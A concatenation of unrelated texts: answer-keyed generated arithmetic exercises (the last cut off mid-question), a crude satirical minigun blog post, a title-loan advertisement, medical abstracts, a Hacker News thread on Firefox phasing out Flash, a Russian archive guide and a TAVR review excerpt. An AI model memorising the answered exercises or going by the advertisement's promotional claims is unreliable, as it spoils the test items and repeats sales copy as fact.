Let r = 78/283 + -34457/2830. Suppose 0 = -5*i + 294 - 1479. Find the common denominator of r and (2/15)/((-8)/i).
20
What is the smallest common multiple of 13 - ((-21)/(-3) + -4) and 2?
10
Let m = 67 + -27. Suppose -m = -9*d + 7*d. What is the least common multiple of d and 22?
220
Suppose 2*l = -0*l + 2. Let m be 60/(-5)*l/(-4). Suppose -5*t + 6*t - m = 0. Calculate the smallest common multiple of 5 and t.
15
Let p = -18918/7 + 2710. Let z(g) = 2*g**2 - 115*g - 69. Calculate the common denominator of p and z(58).
7
Calculate the least common multiple of 36 and 1410/150 + (12/(-5) - -2).
36
Find the common denominator of (-19)/8 + 2 + (-310)/48 and -43/36.
36
Let t(p) = 4*p - 2. Let h be t(2). Suppose -26 + h = -5*y. Suppose -3*r + 2*u + y = -32, r - 7 = -u. Calculate the least common multiple of r and 6.
30
Let f = -597939 - -40087624375/67043. Let h = f + -61612513/134086. Let a = -479 - h. Find the common denominator of a and -42.
2
Let g = -15254821/3794 + 1507/271. Let s = g + 4018. Find the common denominator of s and -13/14.
14
Suppose 0 = 3*j + 124 + 635. Let w = j - -493. Calculate the common denominator of 75/16 and 4/12 + 388/w.
80
Suppose -2*w = 3*r - 3111, 0*r - 5*r + 25 = 0. What is the least common multiple of w and 16?
6192
Let a = -2 - -6. Suppose -4*c + 3*n + 249 = 0, a*c - 4*n + 31 = 275. Suppose 5*h = -h + c. Calculate the lowest common multiple of 9 and h.
99
Let c = -1561 - -7838/5. Let x = 10611/11 + -964. Find the common denominator |
Saturday, March 10, 2012
As Americans we face many enemies, terrorists, communists, liberalists, they all seek to bring down America, but the Guy Manual assures us that we are safe. There is no way that America can truly be harmed by anyone, because we have a weapon, one that will keep every man, woman, and child safe…
And it’s called the M134 Minigun
AKA: Gods motherloving vengeance.
What’s that you say? You say that it’s only a weapon, and if people have a belief, that they will not be cowed by such technology? You’re saying that as long as they stand together under a common cause, people have the strength to topple governments and win wars? That united, the human race can do anything?
Well you’re wrong! And here’s why.
In case you using dialup and were unable to see the video, allow me to explain. That was a minigun in action, firing somewhere between 2 and 6 thousand rounds per minute. It’s firing a 7.62 mm NATO round, which costs around .50 cents, give or take two bucks depending from which black market you buy it from. That means if the minigun fires 4,000 rounds a minute, it amounts to around two thousand dollars for a full minute of pure, unadulterated bloody glory. Sure, that money could go to help things like the poor, lower the National Debt, and feed the hungry, but y’know what, the Guy Manual Speaks clearly.
“Thou shall use all available resources to shoot bigger guns than thy friend.” Resources 3:19
So screw, the hungry, let’s shoot some shit!
Ahh, my testosterone just shot up by 20%, that’s a six pack and half a football game right there.
So there you have it. With the minigun, we can simply drown North Korea in spent casing if we choose. In fact, the Manual offers a suggestion to use the minigun to free the world of terrorists.
“Thou shall strap thy minigun to a flying wagon, and proceed to mow down the douchebags with it.” Directions 23:16-17
The Manual shall not be defied! Strap that bitch to a helicopters and let’s take down Kony. |
Car Loans Aurora Ontario Can Help You Get Out of Debt in a Short Period of Time
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Applying for a car loan means you will not need to undergo a credit check
When you apply for a car loan, you will not need to worry about your loan application being rejected due to your poor credit score. This is because car loans are considered as no credit check title loans. This means that you will not need to undergo a credit check and that your credit score will not affect your capacity to apply for a car loan.
Drive your vehicle to pick up your cash, and drive your vehicle back home
Because you will not need to submit your vehicle for storage upon approval of your car loan, you will get to keep, and keep driving, your vehicle. This means that you won’t have to worry about losing your mobility.
With Premier Loans Canada, loan approvals come easy. You can apply for a car loan with no job requirements, minimal documents, and without having to undergo a credit check. Experience the ease of applying for a car loan today by calling us at our toll-free number 1(855) 965-1650 or by applying online. |
Effects of hydrophobic and hydrophilic modifications on gene delivery of amphiphilic chitosan based nanocarriers.
The structure-activity relationships between hydrophobic and hydrophilic modification on chitosan and resultant physicochemical properties along with performances in dealing with critical gene delivery barriers were investigated through amphiphilic linoleic acid(LA) and poly (β-malic acid) (PMLA) double grafted chitosan (LMC)/plasmid DNA (pDNA) nanocomplexes. LMC polymers with various LA and PMLA substitution degrees were synthesized and their hydrophilicity/hydrophobicity was characterized. Compared to chitosan, LMC nanoparticles retained the pDNA binding ability at pH 5.5 when they formed nanocomplexes with pDNA encoding enhanced green fluorescence protein (pEGFP) and the resultant complexes showed diameters below 300 nm. Hydrophobic LA and hydrophilic PMLA substitution contributed to suppressed non-specific adsorption, reduced interactions inside LMC/pDNA nanocomplexes, and enhanced pDNA dissociation. However, enzymatic degradation resistance, cell adsorption, and cellular uptake through clathrin-mediated pathway were promoted by hydrophobic LA grafting while being inhibited by hydrophilic PMLA substitution. In vitro transfection assay suggested the optimal LMC/pEGFP nanocomplexes mediated an 8.0-fold improved transfection compared to chitosan/pEGFP nanocomplexes. The 4.2-fold and 2.2-fold higher intramuscular gene expression in mice compared to chitosan/pEGFP and polyethyleneimine (PEI)/pEGFP nanocomplexes further demonstrated the superiority of LMC/pDNA nanocomplexes. Therefore, amphiphilic chitosan derivates with appropriate combination of hydrophobic and hydrophilic modification would be promising gene delivery nanocarriers. |
Reducing Adobe Flash Usage in Firefox - _jomo
https://blog.mozilla.org/futurereleases/2016/07/20/reducing-adobe-flash-usage-in-firefox/
======
jhatax
I was hoping that Shumway, Mozilla's effort to render swf files using JS (like
what PDF.js is to Adobe Reader), would be released at some point. It looks
like the project has been added to the Firefox Graveyard [1]. I don't have
Adobe Reader installed on my Mac any more, and don't really miss it.
While Chrome's proposal to white-list the top-10 domains is a good start at
curbing the loading of Flash on my laptop, I prefer the approach being
considered by Safari to report that Flash (and other legacy plugins) is not
available on the platform even if it is installed. [2]
Safari's approach will ensure that most users see HTML5 content and won't
really miss Flash. Folks who use sites like Twitch that insist on Flash will
know how to force Safari to load the content they want to view.
Unfortunately, Safari's user share outside of Mobile is very low. We need
Chrome, Firefox and IE to adopt a similar approach (or agree on an approach
for all vendors) if we are to really rid ourselves of Flash.
1\.
[https://bugzilla.mozilla.org/describecomponents.cgi?product=...](https://bugzilla.mozilla.org/describecomponents.cgi?product=Firefox%20Graveyard)
2\. [https://webkit.org/blog/6589/next-steps-for-legacy-plug-
ins/](https://webkit.org/blog/6589/next-steps-for-legacy-plug-ins/)
Edit: Moved links to the end of the post.
~~~
Ygg2
Any idea why Shumway was graveyarded?
~~~
Sylos
Pretty much just too much work and ever-decreasing interest with the
foreseeable death of Flash. This would have probably needed a dedicated team
untangling and implementing the Flash-specification over many months to get it
done before most webpages had already killed off their Flash-content...
------
niftich
I'm very torn on this subject. I'm always wary when browser vendors force the
hand of users, programmers, and everyone else.
I fully understand that Flash has had an outsized share of vulnerabilities
'affecting browsing' over the years; I fully understand that Adobe has
deprecated Flash for new content production; I fully appreciate that the 'web
platform' has acquired new APIs and capabilities over the last four years,
making it a more potent platform than the days when people opted for Flash or
Silverlight because an external runtime was the only way to reliably deliver
the experiences those developers wanted.
But in a world where a HTML webpage from 1991 [1] still loads and renders
fine, I'm worried about the sheer amount of content that exists in Flash from
the 2000s that will be made inaccessible. Sure, those developers should have
known that developing on a proprietary platform is a risky bet, but this was
back when Javascript was awful, browsers were racing to implement not-yet-
final enhancements to CSS3 with vendor prefixes, and powerful vendors were
bickering about which formats to support in a proposed <video> tag. These
developers of course should've known better, but they had no other choice.
_What Mozilla is doing here is actually quite reasonable_ , but they're under
pressure from Google Chrome who can unilaterally decide to ban flash from all
but the top 10 sites, and get away with it due to their control of multiple
platforms and their unwillingless to compromise.
If Mozilla's tactics stray too far from Google's, they risk being seen as
followers, rather than policy drivers; furthemore they answer to a divided
fanbase that on one hand wants an open, independent web (in which Flash has no
place), and on the other hand, wants a refuge from the incumbent browser
maker's unilateral policies (currently Google, previously Microsoft).
[1]
[http://info.cern.ch/hypertext/WWW/TheProject.html](http://info.cern.ch/hypertext/WWW/TheProject.html)
~~~
Chris_Newton
Similar arguments were made for locking out Java applets, and other plugins.
The trouble is, every time the big browser developers throw their weight
around like this, a lot more content becomes inaccessible, and content is what
the Web is all about. Much of the valuable material that isn’t in the top x%
of sites wasn’t written recently and isn’t necessarily actively maintained,
and this trend for writing off entire sections of the Web because they’re
inconvenient is a very dangerous one, IMHO.
I’d have marginally more sympathy if the modern alternatives we’re supposed to
use instead now actually worked as well as the technologies they allegedly
replace, but often they do not, and the biggest advocates for the newer
technologies are often among the worst offenders.
I’d also have marginally more sympathy if there was evidence that closing out
the plugins would significantly improve security, but given that many of these
changes just move the attack surface to the browser itself and that the
popular plugins have mostly been subject to some sort of click-to-play
safeguard for a while, I’m not sure the security argument holds much water
either.
But in any case, actively cutting users off from large amounts of existing
content with no workaround seems like a huge backward step to me.
~~~
bobajeff
The plugin system itself is very dangerous to the web. It prevents browser
vendors from ensuring that the same content is available on all platforms.
That's why it's being removed.
Already, many widely used devices can't access Flash content. Browser vendors
are doing the responsible thing here by preventing any future situation like
what has happened with Flash on mobile.
~~~
Chris_Newton
But some of the replacements also prevent browser developers from ensuring the
same content is available on all platforms. For example, HTML5 media elements
don’t prescribe specific codecs to be supported, and in practice several of
the major ones are patent-encumbered and encoders and decoders are not freely
available on all platforms without running into potential legal issues. So
now, instead of relying on Flash being available and providing audio-visual
content in a single format that Flash was known to support, we have to encode
that audio-visual content in a variety of different formats to have any hope
of it playing with as much portability, and there are still no guarantees that
it will remain so in the future. I don’t see how this really improves
anything: a useful _de facto_ standard has been replaced by a _de jure_
standard that is less useful and requires more work to comply. If
unrestricted, good quality encodings for audio and video had been standardised
along with the HTML5 media elements, it might have been a different story, but
that is not what we actually have today.
One could make similar arguments about replacing complex and/or interactive
graphical content once drawn using plugins with HTML5 canvas, SVG or WebGL
elements. The quality of implementation, reliability and performance of these
newer technologies are not quite universally awful across all browsers, but
the situation is disturbingly close to that once you start using them for more
demanding applications like complex animations or drawing interactive diagrams
with thousands of elements.
~~~
bobajeff
(Not sure what you're talking about with codecs. H.264, AAC and MP3 are
supported in all major browsers.)
Well you can't rely on Flash being available anyways. It's not available at
all on mobile.
Nothing anyone has ever made (or will ever make) in Flash will work on mobile
today.
~~~
Chris_Newton
_(Not sure what you 're talking about with codecs. H.264, AAC and MP3 are
supported in all major browsers.)_
For example, H.264 is patent-encumbered. It’s now supported to some degree for
HTML5 video elements by all the major browsers on most platforms, but it has
been a long road to get that far.
Mozilla struggled for a long time with getting support into Firefox across
platforms. To this day, Firefox still relies on third party software and/or
hardware decoding to provide the required functionality, and this was a real
world limitation on at least one major platform as recently as two years ago.
A similar limitation would affect any other browser whose developer wasn’t in
on the patent pool or paying royalties to it.
Google also threatened to pull H.264 support from Chrome for a while,
reportedly because of concerns over the licensing costs.
Anyone _distributing_ video encoded using H.264 also needs to be mindful of
the licensing rules. Although small scale and non-commercial uses typically
don’t require royalty payments under the current rules, there is a legal
minefield here for anyone operating a larger business who might be affected.
This is a significant concern in itself given that some major browsers _only_
support H.264 for HTML5 video.
Beyond the patent issues, we also have the issue that H.264 comes in many
flavours, and support for those isn’t standardised across browsers and
platforms either. Unless you’re only talking about the least common
denominator, it’s not really sufficient to refer to H.264 support; you need to
know which specific variations are supported on any given browser, OS and
hardware in order to serve video with the best possible quality and
efficiency. Finding that information is not straightforward, even if you have
the resources to then encode in many different variations once you know.
Looking at the above, it’s hard to see anywhere that the current situation is
actually better than what we had for a long time with plugin-based players,
except on newer systems that don’t support those plugins. Which brings us to…
_Well you can 't rely on Flash being available anyways. It's not available at
all on mobile._
Of course you can’t rely on it _now_ , but that is mostly an artificial
limitation imposed first by the mobile browser developers and subsequently by
Adobe themselves in response. A Flash player was available on Android for a
long time, and Microsoft were reportedly keen to see a version running on
Windows Phone as well.
What we’re really talking about here is Apple starting the ball rolling by
refusing to allow plugins on iOS, for reasons we may or may not believe are
what Apple publicly claimed at the time. Considering that there have been
numerous significant problems with Apple’s support for HTML5 video on iOS
devices — not least relying on the infamous AppleCoreMedia to handle that
content instead of the browser itself for a very long time, causing all sorts
of functionality to break — and that Apple’s policies prevent any other
browser on iOS from doing better, I have always found their stance on this
rather hypocritical.
~~~
bobajeff
Sure, BlackBerry and Windows Phone could've maintained Adobe's support for
their platforms. But that would've been expensive, a poor user experience
(like Android's version) and depend entirely on Adobe continuing to allow
access to their source code and distribution of the flash player.
No matter who you want blame however doesn't change the fact the Flash isn't
ubiquitous. It's ubiquity always depended on a single vendor supporting it on
every platform.
------
_jomo
I don't have Flash installed at all anymore and it works quite well. For the
few sites that don't work without Flash these days, I either don't care or use
youtube-dl -g [0] or livestreamer [1] and open the direct video link in
Browser or VLC.
Twitch is one of the popular sites that don't have a working HTML5 player for
the masses (it does work without Flash using the methods above). There's
Beam.pro which has some interesting approaches to live streaming with HTML5
[2]. The only thing I haven't found a great solution for are the big Music
streaming sites, which all rely on Flash (the others shut down). Some people
told me Google Play Music may or may not work with HTML5 but I haven't tried
that yet.
Also, a great number of websites will ask you to turn on Flash when installed
but deactivated and only use the HTML5 player when it's not actually
installed. I guess it's a design flaw that Browsers report disabled or click-
to-play plugins to websites.
0: [http://rg3.github.io/youtube-dl/](http://rg3.github.io/youtube-dl/)
1: [http://docs.livestreamer.io/](http://docs.livestreamer.io/)
2: [https://forums.beam.pro/topic/168/where-we-re-at-with-
html5-...](https://forums.beam.pro/topic/168/where-we-re-at-with-html5-video)
~~~
simcop2387
At least with pandora, there's a few clients out there that can work outside
of a browser. I usually use Pithos[1] or Hermes[2], no idea about the others.
[1] [http://pithos.github.io/](http://pithos.github.io/) [2]
[http://hermesapp.org/](http://hermesapp.org/)
~~~
Miner49er
My personal favorite is pianobar:
[https://6xq.net/pianobar/](https://6xq.net/pianobar/). It's a CLI client.
------
rcconf
If you Google 'top facebook games', and you browse to each one, you will find
a majority of them use Flash. Here are a few of them:
\- Candy Crush (50,000,000+ monthly users)
\- Dragon City (10,000,000+ monthly users)
\- Criminal Case (10,000,000+ monthly users)
\- Angry Bird Friends (1,000,000+ monthly users)
I'm currently working on a Flash game with a large player base. Firefox's
suggestion of adopting HTML technologies is not simple when the game is 9
years old! I think many Facebook games are going to run into a similar issue.
It's getting scary now tho, it seems like Firefox and Chrome are aggressively
trying to get rid of the usage of Flash. We've essentially decided that we're
going to convert this 9 year old game to C++ (via Emscripten) in the next
year. Good luck to everyone else who is going through the same thing as we
are.
~~~
bobajeff
I think it should be up to Adobe to come up with a solution here. Something
like an Adobe AIR for the web.
~~~
pc2g4d
I really don't understand why they haven't stepped up with a Flash-to-HTML5
converter as part of the Flash/Animate application. It would ensure the
continued relevance of those tools.
~~~
joecool1029
I also don't understand why Google killed off Swiffy as a easy conversion tool
for simple flash animations/ads.
[https://developers.google.com/swiffy/](https://developers.google.com/swiffy/)
------
rcthompson
> We categorized SWFs as fingerprinting SWFs if they were smaller than 5x5
> pixels
Coming soon: 6x6 fingerprinting/tracking SWFs?
------
verisimilitude
It is interesting to contrast this discussion today with the discussion Jobs'
"Thoughts on Flash" spurred 6 years ago:
[https://news.ycombinator.com/item?id=1304310](https://news.ycombinator.com/item?id=1304310)
~~~
SG-
Flash has also dramatically increased it's performances since those times
because of how pathetic things were.
------
white-flame
> Over the past few years, Firefox has implemented Web APIs to replace
> functionality that was formerly provided only by plugins. This includes ...
> fast 2D and 3D graphics
Just a friendly reminder that the 2D graphics functionality of Flash is still
not replaced for a massive chunk of graphics and games built with a vector-
based visual style.
Canvas 2D vector graphics still do not properly antialias adjacent edges
(shows garish seams and unexpected transparencies), whereas Flash would render
them properly and with high quality.
------
ars
Any plan to reduce/remove flash needs to address the HUGE amount of small
flash based web games. Just look for online playable games for kids and you'll
see how many there.
"Websites that currently use Flash or Silverlight for video or games should
plan on adopting HTML technologies as soon as possible."
This is utterly unrealistic, these games are 10 or more years old sometimes,
and still played in large numbers, with no money available for the developer
to rewrite them.
Only an automatic transpiler of some kind has any chance here.
~~~
Sylos
The problem is that this is not easy at all. Mozilla had a project which tried
to do pretty much exactly that, called Shumway [0], and development has been
going on for a few years, but they didn't really get anywhere useful in all
that time.
[0]:[https://mozilla.github.io/shumway/](https://mozilla.github.io/shumway/)
~~~
spriggan3
Unfortunately without the help of Adobe itself, this project is DOA. It won't
run most flash content out there. Flash content HAS to be specifically
designed to run on shumway. Adobe should have open sourced flash years ago, it
didn't. Well at least that's a lesson for developers, don't use proprietary
techs on the web.
------
nix0n
Now that HTML5 is gradually replacing Flash, has anyone seen a good Flashblock
replacement for blocking HTML5?
~~~
Nadya
Block all Canvas, Audio and Video elements?
~~~
Grue3
Don't forget shit like WebRTC that's impossible to turn off and known to leak
certain private information (such as internal IPs).
~~~
cpeterso
Here is a Firefox add-on to disable WebRTC:
[https://addons.mozilla.org/firefox/addon/happy-bonobo-
disabl...](https://addons.mozilla.org/firefox/addon/happy-bonobo-disable-
webrtc/)
The source code is on GitHub:
[https://github.com/ChrisAntaki/disable-webrtc-
firefox](https://github.com/ChrisAntaki/disable-webrtc-firefox)
~~~
ComodoHacker
All it does is set media.peerconnection.enabled to false. Looks like it's not
enough, since WebTorrent[1] is working somehow anyway.
[1] [https://webtorrent.io/](https://webtorrent.io/)
~~~
Sylos
Do you get more than one peer? I seem to get only one when I disable
media.peerconnection.enabled and I assume that one peer is just the server
streaming the video directly.
~~~
ComodoHacker
Yes, it falls back to web seed. I've got explanation from devs.
------
supergreg
The only use for Flash I have these days is for streaming sites like Twitch.
Once that's tackled, I'll be more than happy to remove the plugin.
That said, it used to be easy to block annoying stuff by having Flash enabled
on demand.
~~~
sp332
Does Twitch just not work on Safari?
~~~
duskwuff
Twitch uses native HLS playback in Safari. This isn't available in other
browsers (yet).
~~~
spikengineer
Chrome and Firefox never plan to support HLS. They only want customers to use
HTML5-DASH.
~~~
cpeterso
And for websites that have existing HLS content or workflows they would like
to use with desktop browsers, they should check out solutions like
Dailymotion's HLS.js polyfill. It tunnels HLS streams into the MSE API (used
by DASH) available in Chrome, Firefox, IE/Edge, and Safari. Mozilla works
closely with the HLS.js developers to help debug compatibility issues and
regressions in Firefox or HLS.js.
[http://engineering.dailymotion.com/introducing-hls-
js/](http://engineering.dailymotion.com/introducing-hls-js/)
------
jlebar
I know this is unimportant, but I have to say, I strongly dislike this green
trendline that they have fitted to the graph.
It clearly does not fit. The graph flattened out at Jul 2015.
------
amelius
I really wonder if one day (perhaps in a distant future) HTML will end up on a
graveyard, just like Flash, and what we can do now to make this event less
painful.
------
Animats
Mozilla needs to do outreach to the porno industry to get them to convert.
~~~
SG-
The mobile browsers (iPhone) have already caused them all to move to it long
ago. They're further ahead of the BBC that still insists on Flash video.
------
codazoda
Good. They're going slow, starting with fingerprinting and supercookies, which
is nice for users. I welcome the end of Flash.
I personally killed flash from Chrome about a year ago. I've seen a few sites
that use it, which I just leave, but I haven't seen anything I can't live
without.
~~~
ComodoHacker
>starting with fingerprinting and supercookies
It's strange they weren't mentioned in the blog post. Only the third class of
blocked content, viewability test, is mentioned.
------
ComodoHacker
>The criteria for adding content to the blocklist are:
>* Blocking the content will not be noticeable to the Firefox user.
>* It is possible to reimplement the basic functionality of the content in
HTML without Flash.
There are three classes of content in the block list: Fingerprinting,
Supercookie and Viewability. While I'm heard of various fingerprinting
techniques besides Flash, I'm curious how "to reimplement without Flash the
basic functionality" of supercookies, given its main feature is persistence
despite of user's effort.
------
ivanhoe
I had it disabled in Chrome for the last 6 months or so, and very rarely
needed to temporarily re-enable it, like maybe twice in all that time. And
even that is not a big deal, you just go to chrome://plugins and switch it on
and back off later, it takes 2-3 clicks to do it.
------
Endy
That's funny. I guess there's a reason why I'm being forced into using old
browsers rather than supporting any of the rabid anti-Flash nonsense. Then
again, I'm anti HTML5 & WebDRM (now under the more innocuous title of EME)
------
nfriedly
I don't install flash these days. I usually browse in Firefox and don't really
miss it. On the occasions when I do need flash for something, I'll fire up
Chrome because it has flash built in.
------
bobajeff
I think Chrome's propsal to whitelist the top ten domains and block all the
other sites by default would be more effective at curving the web's dependency
on flash.
Edit: Turns out Firefox is planning on blocking all sites by default. So
Firefox's approach looks more promising.
~~~
ocdtrekkie
I disagree heavily. Because Chrome's proposal is essentially an elitist focus
on assuming the top ten sites are the only sites worthy of using terrible
code. It's unsurprising Google favors this strategy: Google will always end up
in that top ten list. (And surprisingly, a lot of Google websites fallback on
Adobe Flash still. Play Music doesn't work on Firefox without it.)
YouTube is no more worthy of using Adobe Flash than my personal website. They
should be treated the same. If we are to disincentivize Flash, it should be
disincentivized equally across the board.
~~~
sqeaky
If any browser were to act against and "disincentivized equally across the
board" by doing something like blocking it entirely that would simply be a
browser people who wanted flash content would use less.
Some people want flash, probably because they are oblivious to security
concerns or simply don't care about standards and progress. These are the
people we must convince. Letting them have what they "must" have while
chipping away at the problem is something that might work here and now. Likely
these people wouldn't even realized the browser was doing it in this case and
would blame the sites for having broken flash. Despite seeming morally grey or
deceptive, it could work and might not punish the browser doing it.
~~~
ocdtrekkie
The funny thing is, this change would convince me to install the Flash plugin
for Firefox. I've long used a different browser if I needed Flash because I
didn't want the separate dependency to update that has a lot of security
flaws. (Since IE/Edge and Chrome include and auto-update it). Now, I can
safely install Flash on my Firefox, and know that it won't affect anything
unless I explicitly permit it.
I am generally against browsers acting against user desires for compatibility.
(And specifically, backwards compatibility, which the web should strive to
be.) I would argue that blocking Flash is an antifeature, but providing a
security gate, like not running it by default, is a security feature.
~~~
azdle
You can actually get that now. Firefox lets you set plugins to "Ask to
Activate" and as far as I can tell it uses some logic like the article talks
about foe whether it notifies you to activate or not. I've had it set to that
and I only seem to get popups when there's a giant main video or I click a
button on the page that tries to use flash for something.
------
fulafel
It's crazy that the perpetual security disaster hasn't been enough to disable
Flash so far. (Goes for Chrome too, but at least they have reasonable
sandboxing for it)
~~~
dredmorbius
Keep this in mind should you ever be inclined to consider a security-based
start-up.
People simply don't care.
|
Life expectancy in pancreatic neuroendocrine cancer.
The prognoses widely reported for pancreatic cancer reflect the very poor survival associated with the most common histological type, exocrine adenocarcinoma. We calculated life expectancies for patients with less common pancreatic neuroendocrine tumors (PNETs), and also for the subsets of these patients who survive 1 and 5 years post-diagnosis, all of which carry a significantly better prognosis. Results for 1- and 5-year PNET survivors appear not to have been previously reported, nor have life expectancies (average long-term survival times) been given. We identified 5287 cases of PNET in the SEER US national database, 1973-2013. The Kaplan-Meier estimator was used to compute empirical survival probabilities and median survival times for functioning (n = 279) and non-functioning PNET (n = 5008) cases. The Cox proportional hazards regression model was used to examine univariate associations of survival with covariates including patient age, sex, race, cancer stage, tumor grade, surgical treatment, and calendar year. A multivariate multiplicative hazard Poisson regression model estimated mortality rates for all combinations of the covariates. The rates were used to construct actuarial life tables, which gave life expectancies for male and female patients according to age, cancer stage, tumor grade, histology (functioning versus non-functioning), surgical treatment status, and time since diagnosis. These life expectancies were compared with age- and sex-specific figures from the US general population. Life expectancy in PNET is lower than that of the US general population and varies significantly according to patient age, cancer stage, tumor grade, mode of treatment, and time since diagnosis. For example, it is near normal for persons aged 70 and older who undergo surgical resection of localized well-differentiated (i.e., grade I) tumors. By contrast, persons with metastatic high-grade tumors not amenable to surgery have life expectancies of only 1 to 4 years depending on patient age. Functioning PNETs were associated with somewhat lower mortality than non-functioning within the first few years after diagnosis, though no major differences were observed long-term. Positive factors for survival were younger age, localized stage, low tumor grade, and surgical treatment. Survival improved over the 1973-2013 study period: on average mortality rates fell by 1.2% per year after controlling for changes in the patient population. Life expectancy increased markedly with time since diagnosis: those surviving 1 and 5 years post-diagnosis had longer additional life expectancies. Life expectancies of patients with PNETs may be markedly reduced from normal, but even in the worst cases their prognoses remain significantly better than that of patients with the more common pancreatic adenocarcinomas. In some very favorable cases, the life expectancy is near-normal, especially amongst 1- and 5-year survivors. This information can be used to counsel patients. |
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458
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466
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655
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Honored citizenship in the Emperor's Russia: 1890-1917
The Empress Catherine II established the social estate of "distinguished townsmen" by her Letters Patent in 1789. This patent stated that owners of real estate property who served on an elective city post for a definite time could pretend to be registered in this class. In addition, scientists, artists and composers could receive such a title. After being granted the "distinguished townsmen" title, people could not be subjects to corporal punishment, nor draftee duty and had a right to own gardens, factories, as well as sea and river ships. The title was hereditary. After reaching 30 years old, the grandsons of persons granted such a title, could be registered among the nobility in case of irreproachable bearing of the "distinguished townsman" title by their grandfather and father.
The first time, merchants could have such a title, but it became impossible for them after Ukase of January 1, 1807. After this date, only scientists and artists could receive this special status.
On April 10, 1832, Emperor Nicholas I established the official class of honored citizens which replaced the "distinguished townsmen" title. Honored citizenship could be personal or hereditary.
Personal title was granted to a person and his wife.
Children of hereditary honored citizen received such a title since birth according to origin.
As well as the distinguished townsmen before, the honored citizens were liberated of recruitment duty, corporal punishment and poll-tax. Their names were entered in the city inhabitants registers, and not in the simple revision lists.
The following subjects could receive such a hereditary title:
- Children of personal noblemen (since June 11, 1845 they received the title of hereditary honored citizen automatically);
- Children of Orthodox priests in case of graduation the latter from the Religious Academy or Seminary with the corresponding degrees;
- Children of Lutheran and Reformer preachers.
Personal title could receive:
- Children of priests not graduated from Academy;
- Children of the high rank Caucasus Muslim clergy;
- People adopted by the noblemen and hereditary honored citizens (since March 12, 1891).
In addition, the title of hereditary or personal honored citizen could receive:
- The people in rank of commerce or manufactory councilors; the widows and children of such people;
- Merchants registered in the 1st guild for 20 years running or granted an order.
- People granted a scholarly degree of doctor or magister in some Russian
University;
- Actors of the Emperor's theaters and artists (since 1839).
- Pharmacists, engineers-technologists, veterinary physicians (since 1849).
Becides, honored citizenship could be acquired according to service and special statements. People of any social estate could receive such a personal title because of their social activity during a period of ten years. Personal honored citizens engaged in such activity for ten years could ask for hereditary title.
Since children of hereditary honored citizens received such a title according to origin from birth, initiating its confirmation by a specific way was not necessary. In this case, if they wished a certificate anyway, they could apply to the Heraldry Department of Governing Senate for this. This was the only institution that officially granted and confirmed the title.
Files with documents of the cases for granting people with the title of hereditary honored citizenship and issuing certificates about this, are most often found in the Fond of this institution - Fond 1343 RGIA.
Cases of granting people the title of hereditary honored citizen:
- Fond 1343 Inventory 39. 6061 files with documents of the cases for the years 1830-1890;
- Fond 1343 Inventory 40. 6261 files, years 1890-1917;
Files with documents of cases about personal honored citizenship:
- Fond 1343 Inventory 41. 415 files for the years 1890-1917.
The files listed in Inventory 47 of Fond 1343, concern acquiring the rights of honored citizenship. There are 1109 files for the years 1897-1917. In addition, files on this subject are available in Fond 1405 (Justice Ministry) in the same Archive.
Below, we provide surnames listed in Inventory 40, Fond 1343. Some surnames are repeated in the inventory since different people with the same surname received such a title. However, for this list we list the surname just once.
The surname spelling is according to traditional Russian-English transliteration and for searches, we give the possible spelling variants - mostly, for foreign surnames. Anyway, more variants of spelling each surname in foreign languages are possible.
There are some details in the titles of files listed in inventory: name, city or province, occupation of the person. To receive such information and understand if you wish order the files examining, please contact BLITZ
Research provided by BLITZ – Information Center
St. Petersburg, Russia – Elena Tsvetkova rublitz@gmail.com
San Rafael, California – Kristin Nute enute@igc.org |
Shadow virtualizes a high-end gaming PC on your desktop clunker
PlayStation profiles are now available on the web
Black Desert's non-combat stuff on display in new trailer
Another day, another Black Desert trailer. It's in Korean instead of Russian this time, but I enjoyed it anyway and I thought you might, too. It's only a minute long, but it highlights many of the fantasy sandbox's non-combat activities, including fishing, hunting, mining, chopping wood, and hanging out on the roof with your cat. |
J Am Heart Assoc. 2018;7:e007147 DOI: [10.1161/JAHA.117.007147](10.1161/JAHA.117.007147).29754127
Initially restricted to high‐risk and inoperable patients with symptomatic severe aortic stenosis (AS), transcatheter aortic valve replacement (TAVR) is increasingly being offered to younger and lower‐risk patients with fewer comorbidities who are otherwise good operative candidates and until now would have undergone surgical aortic valve replacement (SAVR). This evolution in clinical practice is underpinned by robust evidence, but do the data support the universal use of TAVR in all patients with AS, or is there still a role for surgery? In this review, we will review the data of TAVR in operable patients, examine potential limitations of TAVR in younger patients, and highlight the areas in which more research is required.
Concepts of Risk Assessment {#jah33207-sec-0002}
===========================
First, it is imperative to recognize that the widely used risk classification scheme for patients undergoing TAVR (extreme, high, intermediate, or low risk) is an artificial construct, important for the conduct of clinical trials, but not necessarily applicable to everyday clinical practice. The commonly used risk scores (Society of Thoracic Surgeons \[STS\], EuroSCORE, and EuroSCORE II) are designed to assess the risk of surgery and not TAVR. Although dedicated TAVR risk scores have been proposed, including the US STS/American College of Cardiology Transcatheter Valve Therapies,[1](#jah33207-bib-0001){ref-type="ref"} these are not widely used in clinical practice. Surgical risk scores typically overestimate the risk of TAVR. Arbitrarily selected STS thresholds to define risk categories for the pivotal TAVR trials were modified over time and varied between trials. Furthermore, the SAVR patient population in the STS database has changed in recent years, with most high‐risk patients now undergoing TAVR. As a result, individual patients\' STS scores have fallen, meaning there is overlap between clinical trial risk‐defined patient populations.[2](#jah33207-bib-0002){ref-type="ref"} Second, "low‐risk" does not necessarily mean "young." For example, it is theoretically possible for a 90‐year‐old man with severe AS and hypertension, but no other comorbidity, to have an STS score \<3%, even though most Heart Teams would probably consider his surgical risk to be substantial. Although this example is extreme, it highlights that score‐based risk assessment is just 1 factor to consider when weighing the relative advantages and disadvantages of TAVR or SAVR. In this review, we will focus on those patients who are deemed "operable" by the multidisciplinary Heart Team, analogous to the low‐ and intermediate‐risk cohorts from the pivotal trials.
Clinical Trials in Operable Patients {#jah33207-sec-0003}
====================================
